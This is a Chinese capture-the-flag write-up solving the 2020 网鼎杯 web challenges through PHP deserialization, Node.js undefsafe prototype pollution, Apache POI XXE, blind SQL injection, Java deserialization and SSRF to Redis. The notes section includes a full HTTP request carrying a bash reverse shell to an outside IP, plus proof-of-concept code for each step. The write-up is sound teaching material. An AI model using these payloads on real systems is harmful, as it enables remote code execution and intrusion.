网鼎杯 2020 Web Writeup


网鼎杯青龙组 Web 题目难度终于不是只有大佬才可以做出来了(

AreUSerialz

打开就能看到源码,发现是反序列化。
__destruct 没办法绕过重置 content,只能考虑利用 read 方法了,那么只能读 flag.php 拿到 flag 了。
从 404 页面拿到了 docker 信息,拉下来 docker,找到了 web 目录的路径,op 和字符串 2 的判断用数字绕过就行,\x00 的过滤需要把成员变量的属性改掉,构造如下:

<?php
// include("flag.php");
highlight_file(__FILE__);


class FileHandler {

    public $op;
    public $filename;
    public $content;

    function __construct() {
        $this->op = 2;
        $this->filename = "/web/html/flag.php";
        $this->content = "";
        $this->process();   
    }

    public function process() {
        if($this->op == "1") {
            $this->write();       
        } else if($this->op == "2") {
            $res = $this->read();
            $this->output($res);
        } else {
            $this->output("Bad Hacker!");
        }
    }
    private function read() {
        $res = "";
        if(isset($this->filename)) {
            $res = file_get_contents($this->filename);
        }
        return $res;
    }

    private function output($s) {
        echo "[Result]: <br>";
        echo $s;
    }
    function __destruct() {
        if($this->op === "2")
            $this->op = "1";
        $this->content = "";
        $this->process();
    }
}


function is_valid($s) {
    for($i = 0; $i < strlen($s); $i++)
        if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125)){
            return false;
        }
    return true;
    
}
if(isset($_GET{'str'})) {
    
    $str = (string)$_GET['str'];
    if(is_valid($str)) {
        
        $obj = unserialize($str);
    }
}
$o=new FileHandler();
var_dump(urlencode(serialize($o)));

提交。

听其他师傅说,如果读相对路径可以直接使用伪协议读取。
刚刚看到 P 神提到了之前的 tip,可以用可读化形式重写,即大写 S 标志后,后面的字符串可用 16 进制表示,比如其中的 protected 成员变量 op 可以写为S:5:"\00*\00op"

notes

下载源码发现是 nodejs,看了一遍发现不像是 xss,但是出现了一个不认识的函数 undefsafe,搜一下发现有过原型链污染的洞,题目源码里也没有提到 flag 获取方式,没有找到明显的未定义引用,可能是要打 RCE。

var express = require('express');
var path = require('path');
const undefsafe = require('undefsafe');
const { exec } = require('child_process');


var app = express();
class Notes {
    constructor() {
        this.owner = "whoknows";
        this.num = 0;
        this.note_list = {};
    }

    write_note(author, raw_note) {
        this.note_list[(this.num++).toString()] = {"author": author,"raw_note":raw_note};
    }

    get_note(id) {
        var r = {}
        undefsafe(r, id, undefsafe(this.note_list, id));
        return r;
    }

    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }

    get_all_notes() {
        return this.note_list;
    }

    remove_note(id) {
        delete this.note_list[id];
    }
}

var notes = new Notes();
notes.write_note("nobody", "this is nobody's first note");


app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'pug');

app.use(express.json());
app.use(express.urlencoded({ extended: false }));
app.use(express.static(path.join(__dirname, 'public')));


app.get('/', function(req, res, next) {
  res.render('index', { title: 'Notebook' });
});

app.route('/add_note')
    .get(function(req, res) {
        res.render('mess', {message: 'please use POST to add a note'});
    })
    .post(function(req, res) {
        let author = req.body.author;
        let raw = req.body.raw;
        if (author && raw) {
            notes.write_note(author, raw);
            res.render('mess', {message: "add note sucess"});
        } else {
            res.render('mess', {message: "did not add note"});
        }
    })

app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

app.route('/delete_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to delete a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        if (id) {
            notes.remove_note(id);
            res.render('mess', {message: "delete done"});
        } else {
            res.render('mess', {message: "delete failed"});
        }
    })

app.route('/notes')
    .get(function(req, res) {
        let q = req.query.q;
        let a_note;
        if (typeof(q) === "undefined") {
            a_note = notes.get_all_notes();
        } else {
            a_note = notes.get_note(q);
        }
        res.render('note', {list: a_note});
    })

app.route('/status')
    .get(function(req, res) {
        let commands = {
            "script-1": "uptime",
            "script-2": "free -m"
        };
        for (let index in commands) {
            exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
                if (err) {
                    return;
                }
                console.log(`stdout: ${stdout}`);
            });
        }
        res.send('OK');
        res.end();
    })


app.use(function(req, res, next) {
  res.status(404).send('Sorry cant find that!');
});


app.use(function(err, req, res, next) {
  console.error(err.stack);
  res.status(500).send('Something broke!');
});


const port = 8080;
app.listen(port, () => console.log(`Example app listening at http://localhost:${port}`))

先看了看模板,发现是 pug,先下载下来搜一下 eval,好像要挖一下(挖好久。。),想到了 VK 师傅写的分享,他提了一句没挖到(狗头,那先干点别的。
又看看其他地方,发现用了 exec,可能这一块有问题

   let commands = {
        "script-1": "uptime",
        "script-2": "free -m"
    };
    for (let index in commands) {
        exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
            if (err) {
                return;
            }
            console.log(`stdout: ${stdout}`);
        });
    }

但是没有办法直接控制 exec 的参数。
先试一下原型链的 POC,

var a = require("undefsafe");
var payload = "__proto__.toString";
a({},payload,"JHU");
console.log({}.toString);

和常见的利用方式有点区别,但是能够能够污染调用。
如果要通过 exec 打 RCE,那么 commands 或者 option 部分可控,即可以在 {} 中添加 key,使其可以被遍历。先看了看 option 部分,在手册中没有发现能够利用的点,只能试一下 commands 部分,先验证一下

var a = require("undefsafe");
var payload = "__proto__.a";
a({},payload,"ifconfig");
console.log({}['a']);
const { exec } = require('child_process');
let commands = {
    "script-1": "ls",
    "script-2": "pwd"
};
for (let index in commands) {
    exec(commands[index], {shell:'/bin/bash'}, (err, stdout, stderr) => {
        if (err) {
            return;
        }
        console.log(`stdout: ${stdout}`);
    });
}

控制台输出了 ifconfig 的结果,应该是成功添加了 a 的 key,下面就是找一个 undefsafe 可控的三参数调用。

class Notes {
    ……
    edit_note(id, author, raw) {
        undefsafe(this.note_list, id + '.author', author);
        undefsafe(this.note_list, id + '.raw_note', raw);
    }
    ……
}
app.route('/edit_note')
    .get(function(req, res) {
        res.render('mess', {message: "please use POST to edit a note"});
    })
    .post(function(req, res) {
        let id = req.body.id;
        let author = req.body.author;
        let enote = req.body.raw;
        if (id && author && enote) {
            notes.edit_note(id, author, enote);
            res.render('mess', {message: "edit note sucess"});
        } else {
            res.render('mess', {message: "edit note failed"});
        }
    })

刚好可以通过请求控制参数

POST /edit_note HTTP/1.1
Host: f9d84d3db2e54d218352b998dcd8c976c4540fdf37b94829.cloudgame2.ichunqiu.com:8080
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:76.0) Gecko/20100101 Firefox/76.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: Hm_lvt_2d0601bd28de7d49818249cf35d95943=1573354656; __jsluid_h=12ae2b03e09a34391eace0c76db36c93
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 78

id=__proto__.a&author=bash+-i+>%26+/dev/tcp/139.199.x.x/8999+0>%261&raw=123

然后访问 status 触发 exec 即可。

filejava

上传文件后可以下载,发现存在任意文件下载
通过 web.xml 拉源码,分别是上传,列文件,下载三部分。
过滤了 flag 不能直接下载,列文件好像不能构造请求直接访问,但是上传中存在一个 excel 解析,看到过类似利用导致 XXE 的问题。

public void doPost(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
    ……
    String filename = fileItem.getName();
    if (filename != null && !filename.trim().equals("")) {
        String fileExtName = filename.substring(filename.lastIndexOf(".") + 1);
        InputStream in = fileItem.getInputStream();
        if (filename.startsWith("excel-") && "xlsx".equals(fileExtName)) {
            try {
                System.out.println(WorkbookFactory.create(in).getSheetAt(0).getFirstRowNum());
            } catch (InvalidFormatException e) {
                System.err.println("poi-ooxml-3.10 has something wrong");
                e.printStackTrace();
            }
        }
        String saveFilename = makeFileName(filename);
        request.setAttribute("saveFilename", saveFilename);
        request.setAttribute("filename", filename);

感觉有可能也是一个 xxe,查一下 WorkbookFactory,可以找到
http://www.lmxspace.com/2019/12/13/Apache-Poi-XXE-Analysis/#漏洞复现
发现有 CVE,新建一个 xlsx,添加 payload,先打一个 SSRF 看一下,发现可以收到请求,直接构造 oob 打一下

trace

没有来得及做出来。insert 有 20 次限制,过滤了 infomation,从 sys 库读信息没测试成功。
绕过 insert 限制需要在插入时报错,使用时间盲注。构造类似
insert into user values('1',(select if(ord(substr(xx,1,1))=80,exp(9999) or sleep(3),exp(9999))));

think java 3rd

读部分源码

存在注入,构造一下就行了 jdbc:mysql://mysqldbserver:3306/xx?a=' union select 1,可以看到回显,最终可以打到账号密码,在 myapp.user,有一个账户,admin admin@Rrrr_ctf_asde,根据扫到链接,有一个 swagger-ui.html,其中 /common/user/login 可以登录,返回一个 auth 头,另外一条 /common/user/current 查看用户信息,auth 头是一个序列化后的信息,猜测可以反序列化。
ysoserial 打一遍所有的 payload ..(URLDNS 可以确认存在反序列化),拿到 flag(buu 内网环境操作起来头大。

看一下源码



确实是这个逻辑。

SSRFme 4th

<?php 
function check_inner_ip($url) 
{ 
    $match_result=preg_match('/^(http|https|gopher|dict)?:\/\/.*(\/)?.*$/',$url); 
    if (!$match_result) 
    { 
        die('url fomat error'); 
    } 
    try 
    { 
        $url_parse=parse_url($url); 
    } 
    catch(Exception $e) 
    { 
        die('url fomat error'); 
        return false; 
    } 
    $hostname=$url_parse['host']; 
    $ip=gethostbyname($hostname); 
    $int_ip=ip2long($ip); 
    return ip2long('127.0.0.0')>>24 == $int_ip>>24 || ip2long('10.0.0.0')>>24 == $int_ip>>24 || ip2long('172.16.0.0')>>20 == $int_ip>>20 || ip2long('192.168.0.0')>>16 == $int_ip>>16; 
} 

function safe_request_url($url) 
{ 
     
    if (check_inner_ip($url)) 
    { 
        echo $url.' is inner ip'; 
    } 
    else 
    {
        $ch = curl_init(); 
        curl_setopt($ch, CURLOPT_URL, $url); 
        curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); 
        curl_setopt($ch, CURLOPT_HEADER, 0); 
        $output = curl_exec($ch); 
        $result_info = curl_getinfo($ch); 
        if ($result_info['redirect_url']) 
        { 
            safe_request_url($result_info['redirect_url']); 
        } 
        curl_close($ch); 
        var_dump($output); 
    } 
     
} 
if(isset($_GET['url'])){
    $url = $_GET['url']; 
    if(!empty($url)){ 
        safe_request_url($url); 
    } 
}
else{
    highlight_file(__FILE__);
}
// Please visit hint.php locally. 
?>

0.0.0.0 或者 DNS rebinding 访问 hint.php 可以拿到 redis 的密码 redispass is welcometowangdingbeissrfme6379,dict 访问 6379 发现本机开机了 redis,并且版本是 5.0.8,考虑主从同步打 RCE,使用 https://github.com/xmsec/redis-ssrf 生成 payload,远程监听,读 flag 即可(或者反弹 shell)

Updated At: Author:xmsec
Chief Water dispenser Manager of Lancet, delivering but striving.
Github
comments powered by Disqus